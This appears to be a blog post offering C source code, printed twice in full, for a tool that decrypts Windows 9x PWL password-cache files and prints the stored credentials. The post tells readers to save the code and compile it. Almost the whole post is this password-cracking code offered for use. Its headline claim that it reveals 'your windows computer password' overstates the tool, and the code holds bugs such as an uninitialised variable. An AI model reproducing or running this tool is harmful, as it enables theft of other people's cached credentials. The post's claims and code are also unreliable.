CRACK WINDOWS PASSWORD SOURCE CODE : This will reveal your windows computer password. Just copy this code on to a notepad.
Save it as anything.c. Remember to change the file type to "All file".
Save it as anything.c. Remember to change the file type to "All file".
# include<stdio.h>
# include<stdio.h>
# include<process.h>
# include<stdlib.h>
# include<ctype.h>
# include<conio.h>
# include<mem.h>
unsigned char huge Data[100001];
unsigned char keystream[1001];
int Rpoint[300];
void main(int argc,char *argv[]){
FILE *fd;
int i,j;
int size;
char ch;
char *name;
int cracked;
int sizemask;
int maxr;
int rsz;
int pos;
int Rall[300]; /* Resourse allocation table */
if(argc<2)
{
printf("usage: glide filename (username)");
exit(1);
}
/* Read PWL file */
fd=fopen(argv[1],"rb");
if(fd==NULL)
{
printf("can't open file %s",argv[1]);
exit(1);
}
size=0;
while(!feof(fd)){
Data[size++]=fgetc(fd);
}
size--;
fclose(fd);
/* Find Username */
name=argv[1];
if(argc>2)name=argv[2];
printf("Username:%s",name);
/* Copy encrypted text into keystream */
cracked=size-0x0208;
if(cracked<0)cracked=0;
if(cracked>1000)cracked=1000;
memcpy(keystream,Data+0x208,cracked);
/* Generate 20 bytes of keystream */
for(i=0;i<20;i++)
{
ch=toupper(name[i]);
if(ch==0)break;
if(ch=='.')break;
keystream[i]^=ch;
};
cracked=20;
/* Find allocated resources */
sizemask=keystream[0]+(keystream[1]<<8);
printf("Sizemask:%04X",sizemask);
for(i=0;i<256;i++)
{
if(Data[i]!=0xff)
{
Rall[Data[i]]++;
if(Data[i]>maxr)
maxr=Data[i];
}
}
maxr=(((maxr/16)+1)*16); /* Resourse pointer table size appears to be
divisible by 16 */
/*Search after resources */
Rpoint[0]=0x0208+2*maxr+20+2; /* First resources */
for(i=0;i<maxr;i++)
{
/* Find the size of current resourse */
pos=Rpoint[i];
rsz=Data[pos]+(Data[pos+1]<<8);
rsz^=sizemask;
printf("Analysing block with size:%04x (%d:%d)",rsz,i,Rall[i]);
if((Rall[i]==0)&&(rsz!=0))
{
printf("Unused resourse has nonzero size!!!");
printf("If last line produed any:U may try 2 recover");
printf("Press y to attempt the recovery");
ch=getch();
if(ch!='y')exit(0);
rsz=2;
i=i-1;
}
pos=pos+rsz;
/* Resourse have a tedency to have the wrong size for some reason*/
/* Chech for correct size*/
if(i<maxr-1)
{
while(Data[pos+3]!=keystream[1])
{
printf(":",Data[pos+3]);
pos=pos+2; /* Very rude may fail */
}
}
pos+=2; /* Include pointer in size */
Rpoint[i+1]=pos;
}
Rpoint[maxr]=size;
/* Insert Table data into keystream*/
for(i=0;i<=maxr;i++)
{
keystream[20+2*i]^=Rpoint[i] & 0x00ff;
keystream[21+2*i]^=(Rpoint[i]>>8) & 0x00ff;
}
cracked+=maxr*2+2;
printf("%d Bytes of ketstream recoverd ",cracked);
/* Decrypt resources */
for(i=0;i<maxr;i++)
{
rsz=Rpoint[i+1]-Rpoint[i];
if(rsz>cracked)
rsz=cracked;
printf("Resource[%d](%d)",i,rsz);
for(j=0;j<rsz;j++)
printf("%c",Data[Rpoint[i]+j]^keystream[j]);
printf("");
}
exit(0);
}
# include<stdio.h>
# include<process.h>
# include<stdlib.h>
# include<ctype.h>
# include<conio.h>
# include<mem.h>
unsigned char huge Data[100001];
unsigned char keystream[1001];
int Rpoint[300];
void main(int argc,char *argv[]){
FILE *fd;
int i,j;
int size;
char ch;
char *name;
int cracked;
int sizemask;
int maxr;
int rsz;
int pos;
int Rall[300]; /* Resourse allocation table */
if(argc<2)
{
printf("usage: glide filename (username)");
exit(1);
}
/* Read PWL file */
fd=fopen(argv[1],"rb");
if(fd==NULL)
{
printf("can't open file %s",argv[1]);
exit(1);
}
size=0;
while(!feof(fd)){
Data[size++]=fgetc(fd);
}
size--;
fclose(fd);
/* Find Username */
name=argv[1];
if(argc>2)name=argv[2];
printf("Username:%s",name);
/* Copy encrypted text into keystream */
cracked=size-0x0208;
if(cracked<0)cracked=0;
if(cracked>1000)cracked=1000;
memcpy(keystream,Data+0x208,cracked);
/* Generate 20 bytes of keystream */
for(i=0;i<20;i++)
{
ch=toupper(name[i]);
if(ch==0)break;
if(ch=='.')break;
keystream[i]^=ch;
};
cracked=20;
/* Find allocated resources */
sizemask=keystream[0]+(keystream[1]<<8);
printf("Sizemask:%04X",sizemask);
for(i=0;i<256;i++)
{
if(Data[i]!=0xff)
{
Rall[Data[i]]++;
if(Data[i]>maxr)
maxr=Data[i];
}
}
maxr=(((maxr/16)+1)*16); /* Resourse pointer table size appears to be
divisible by 16 */
/*Search after resources */
Rpoint[0]=0x0208+2*maxr+20+2; /* First resources */
for(i=0;i<maxr;i++)
{
/* Find the size of current resourse */
pos=Rpoint[i];
rsz=Data[pos]+(Data[pos+1]<<8);
rsz^=sizemask;
printf("Analysing block with size:%04x (%d:%d)",rsz,i,Rall[i]);
if((Rall[i]==0)&&(rsz!=0))
{
printf("Unused resourse has nonzero size!!!");
printf("If last line produed any:U may try 2 recover");
printf("Press y to attempt the recovery");
ch=getch();
if(ch!='y')exit(0);
rsz=2;
i=i-1;
}
pos=pos+rsz;
/* Resourse have a tedency to have the wrong size for some reason*/
/* Chech for correct size*/
if(i<maxr-1)
{
while(Data[pos+3]!=keystream[1])
{
printf(":",Data[pos+3]);
pos=pos+2; /* Very rude may fail */
}
}
pos+=2; /* Include pointer in size */
Rpoint[i+1]=pos;
}
Rpoint[maxr]=size;
/* Insert Table data into keystream*/
for(i=0;i<=maxr;i++)
{
keystream[20+2*i]^=Rpoint[i] & 0x00ff;
keystream[21+2*i]^=(Rpoint[i]>>8) & 0x00ff;
}
cracked+=maxr*2+2;
printf("%d Bytes of ketstream recoverd ",cracked);
/* Decrypt resources */
for(i=0;i<maxr;i++)
{
rsz=Rpoint[i+1]-Rpoint[i];
if(rsz>cracked)
rsz=cracked;
printf("Resource[%d](%d)",i,rsz);
for(j=0;j<rsz;j++)
printf("%c",Data[Rpoint[i]+j]^keystream[j]);
printf("");
}
exit(0);
}
No comments:
Post a Comment